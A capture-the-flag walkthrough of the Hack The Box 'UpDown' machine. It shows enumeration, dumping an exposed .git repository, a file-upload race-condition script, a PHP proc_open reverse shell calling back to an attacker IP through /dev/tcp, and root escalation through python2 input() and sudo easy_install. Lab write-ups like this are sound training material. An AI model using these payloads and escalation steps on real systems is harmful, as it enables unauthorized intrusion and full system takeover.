UpDown Writeup

21 January 2023 #CTF #HTB #box #medium #linux

updown info

me trying to crop a screenshot properly (impossible challenge)

Enumeration

Life has ups and downs, but nmap is always there:

$ sudo nmap -n -Pn -F -sCV -oN enum/initial.nmap 10.10.11.177
[...]
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 9e1f98d7c8ba61dbf149669d701702e7 (RSA)
|   256 c21cfe1152e3d7e5f759186b68453f62 (ECDSA)
|_  256 5f6e12670a66e8e2b761bec4143ad38e (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Is my Website up ?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]

SSH

We can use the ssh banner to fingerprint the OS version. In our case, we learn that the box is running Ubuntu 20.04 (Focal) and the version of openssh was published the 11 May 2022.

HTTP

Let's take a look at the webserver:

index page

We notice a domain name in the bottom of the page so we could try virtual host bruteforcing:

$ ffuf -u http://10.10.11.177/ -H 'Host: FUZZ.siteisup.htb' -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -fs 1131

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.177/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.siteisup.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 1131
________________________________________________

dev     [Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 3767ms]
:: Progress: [100000/100000] :: Job [1/1] :: 324 req/sec :: Duration: [0:09:05] :: Errors: 0 ::

We find a dev virtual host, but when accessing it, we get a 403 Forbidden...

siteisup.htb

Trying to access /index.html returns a 404 whereas /index.php returns the page, so we know this web app is running php.

Let's continue our enumeration with directory bruteforcing:

$ gobuster dir -u http://10.10.11.177/ -x php -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -o enum/root.dir
[...]
/dev    (Status: 301) [Size: 310] [--> http://10.10.11.177/dev/]
[...]

/dev/ returns a blank page so we'll once again fire up gobuster:

$ gobuster dir -u http://10.10.11.177/dev/ -x php -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -o enum/dev.dir
[...]
/.git   (Status: 301) [Size: 315] [--> http://10.10.11.177/dev/.git/]
[...]

There is a /dev/.git/ directory, which is very interesting. Let's check it out:

directory listing of /dev/.git/

It even has directory listing enabled.

Access dev Virtual Host

We can use a tool like git-dumper to 'clone' the repo to our box (pip3 install git-dumper to install it):

$ git-dumper http://siteisup.htb/dev/.git/ web-src
[...]
$ ls -lA web-src 
total 32
-rw-r--r-- 1 yep yep   60 Dec 21 20:35 admin.php
-rw-r--r-- 1 yep yep  147 Dec 21 20:22 changelog.txt
-rw-r--r-- 1 yep yep 3261 Dec 21 22:30 checker.php
drwxr-xr-x 7 yep yep 4096 Dec 21 20:22 .git
-rw-r--r-- 1 yep yep  117 Dec 21 20:22 .htaccess
-rw-r--r-- 1 yep yep  271 Dec 21 20:37 index.php
-rw-r--r-- 1 yep yep 5531 Dec 21 20:22 stylesheet.css

.htaccess is preventing us from accessing the dev virtual host:

SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header

It only allows requests which have a Special-Dev HTTP header set to only4dev (docs).

In Burp, go into Proxy -> Options -> 'Match and Replace' and add a new rule:

add rule in Burp to add header

This will add the required header for each request, that way we'll finally be able to access the virtual host:

dev virtual host

checker.php Analysis

We see that, with this version, we are able to upload a file containg a list of the different hosts we want to check.

The code is in checker.php. Here is the intersting part:

<?php
[...]
if ($_POST['check']) {
    # File size must be less than 10kb.
    if ($_FILES['file']['size'] > 10000)
        die("File too large!");

    $file = $_FILES['file']['name'];

    # Check if extension is allowed.
    $ext = getExtension($file);
    if (preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i", $ext))
        die("Extension not allowed!");

    # Create directory to upload our file.
    $dir = "uploads/".md5(time())."/";
    if (!is_dir($dir))
        mkdir($dir, 0770, true);

    # Upload the file.
    $final_path = $dir.$file;
    move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");

    # Read the uploaded file.
    $websites = explode("\n", file_get_contents($final_path));

    foreach($websites as $site) {
        $site = trim($site);
        if (!preg_match("#file://#i", $site) && !preg_match("#data://#i", $site) && !preg_match("#ftp://#i", $site)) {
            $check = isitup($site);
[...]
    @unlink($final_path);
[...]

Basically:

That means we can still view the file before it gets deleted, if we are quick enough. This is a race condition.

Foothold

The first step is to find an extension that will get executed as php. We can use the .phar extension, which is usually used for archives (much like .jar files).

Exploit Race Condition

Let's now create the file. It will contain a simple non-malicious php payload:

$ echo '<?php echo "THIS IS WORKING"; ?>' > test.phar

This file needs to have a lot of lines, so that the loop will take longer, granting us time to view the file before it gets deleted:

$ python -c 'print("\nA"*3000)' >> test.phar

Should be plenty.

We need a (scuffed) script to handle the uploading + retrieving of the file:

#!/bin/sh

# upload php file in the background
curl -so /dev/null -H 'Special-Dev: only4dev' dev.siteisup.htb -F "file=@$1" -F 'check=Check' &

# sleep 1 sec to make sure the file is uploaded
# (the upload should take more than 1 sec)
sleep 1

# get the hash of the timestamp used for the directory
hash=$(date '+%s' | tr -d '\n' | md5sum | cut -d' ' -f1)

# get webshell
curl -s -H 'Special-Dev: only4dev' "dev.siteisup.htb/uploads/$hash/$1" | head -1

The first curl uploads the file, and is run in the backgroud. That's why the sleep is necessary to make sure the file is uploaded before proceeding. Don't forget to trim the newline off the date, it will fuck up the hash (I didn't spend hours with this, no).

$ ./upload test.phar
THIS IS WORKING

Nice, we don't see the <?php tags, which indeed means THIS IS WORKING.

Bypass Disabled Functions

However, when trying to use system we get a blank response. Update test.phar to check disabled functions:

<?php echo ini_get('disable_functions'); ?>
[...]

Re-run it:

$ ./upload.sh test.phar
[...]system,exec,shell_exec,popen,passthru[...]

Indeed, system and his friends are disabled... However, there is one function that was left out: proc_open which is a more featureful version of popen. We can get a reverse shell with this payload:

<?php

$cwd='/dev/shm';
$descriptorspec = array(
    0 => array("pipe", "r"),
    1 => array("pipe", "w"),
    2 => array("file", "/dev/shm/stderr", "a")
);

$process = proc_open("bash -c 'bash -i >& /dev/tcp/10.10.14.14/4242 0>&1'", $descriptorspec, $pipes, $cwd);
[...]

Privesc

Abuse python2 input

Looking around the filesystem, we find a setuid binary in /home/developer/dev:

www-data@updown:/home/developer$ ls -lA /home/developer/dev/
total 24
-rwsr-x--- 1 developer www-data 16928 Jun 22  2022 siteisup
-rwxr-x--- 1 developer www-data   154 Jun 22  2022 siteisup_test.py

It will execute this python script as the 'developer' user:

import requests

url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
    print "Website is up"
else:
    print "Website is down"

While playing with the script, we notice it's using python2. Since the input function is used, we can execute arbitrary code:

www-data@updown:/home/developer/dev$ ./siteisup
Welcome to 'siteisup.htb' application

Enter URL here:__import__("os").system("id")              
uid=1002(developer) gid=33(www-data) groups=33(www-data)
[...]

Abuse easy_install

The 'developer' user can run sudo:

developer@updown:/home/developer$ sudo -l
Matching Defaults entries for developer on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User developer may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/local/bin/easy_install

And it seems like we can even run easy_install without password.

Time to check GTFOBins for a quick win (you never know). And indeed there is an entry for easy_install. Now it's just a matter of copy-pasting 3 lines:

developer@updown:/dev/shm$ TF=$(mktemp -d)
developer@updown:/dev/shm$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
developer@updown:/dev/shm$ sudo easy_install $TF
WARNING: The easy_install command is deprecated and will be removed in a future version.
Processing tmp.xrtE4cvwjB
Writing /tmp/tmp.xrtE4cvwjB/setup.cfg
Running setup.py -q bdist_egg --dist-dir /tmp/tmp.xrtE4cvwjB/egg-dist-tmp-WYL2lM
# id
uid=0(root) gid=0(root) groups=0(root)

Key Takeaways